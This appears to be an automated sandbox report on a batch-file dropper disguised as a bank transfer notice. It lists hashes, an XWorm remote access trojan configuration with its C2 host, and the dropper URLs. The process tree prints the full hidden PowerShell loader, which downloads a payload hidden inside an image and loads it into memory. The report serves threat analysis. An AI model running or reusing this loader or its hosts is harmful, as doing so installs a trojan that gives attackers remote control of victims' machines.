Analysis

  • max time kernel
    135s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/10/2024, 02:27

General

  • Target

    CONCEPTO DE TRANSACCIÓN REALIZADA ACH.bat

  • Size

    210KB

  • MD5

    fc162f6d374e3bce9c3130fdcb6b7307

  • SHA1

    a874953f738df2b9c59d52d1262aac387bf26fb7

  • SHA256

    c7b24736650ed6130939821101f4641e1a50a2316f3bbcf974d85c8de585a40d

  • SHA512

    520bf9202494786604d194bf6b23020231810744bbb405c1177ab7ee30c82633027445c3bb4e464cc690e7d7d0b6daaecd0a5884aeebcd585541d746cdf662e8

  • SSDEEP

    6144:vZnip76K90FB+Z7VIuArKAgY2aaOOiuauK+yp8:E

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://github.com/CryptersAndTools/Upload/blob/main/new_image.jpg?raw=true

exe.dropper

https://github.com/CryptersAndTools/Upload/blob/main/new_image.jpg?raw=true

Extracted

Family

xworm

Version

5.0

C2

crypters.ddns.com.br:7000

Mutex

GGGrHP0Odh89zLnb

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops startup file 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\CONCEPTO DE TRANSACCIÓN REALIZADA ACH.bat"
    1⤵
    • Drops startup file
    • Suspicious use of WriteProcessMemory
    PID:3172
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly9naXRodWIuY29tL0NyeXB0ZXJzQW5kVG9vbHMvVXBsb2FkL2Jsb2IvbWFpbi9uZXdfaW1hZ2UuanBnP3Jhdz10cnVl'; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('joseamayaaa.chickenkiller.com', '1996');"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1384

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_del322ox.y5k.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/1384-2-0x00007FFCD8DC3000-0x00007FFCD8DC5000-memory.dmp

          Filesize

          8KB

        • memory/1384-3-0x000001E229CE0000-0x000001E229D02000-memory.dmp

          Filesize

          136KB

        • memory/1384-13-0x00007FFCD8DC0000-0x00007FFCD9881000-memory.dmp

          Filesize

          10.8MB

        • memory/1384-14-0x00007FFCD8DC0000-0x00007FFCD9881000-memory.dmp

          Filesize

          10.8MB

        • memory/1384-15-0x000001E22A290000-0x000001E22A582000-memory.dmp

          Filesize

          2.9MB

        • memory/1384-16-0x00007FFCD8DC3000-0x00007FFCD8DC5000-memory.dmp

          Filesize

          8KB

        • memory/1384-17-0x00007FFCD8DC0000-0x00007FFCD9881000-memory.dmp

          Filesize

          10.8MB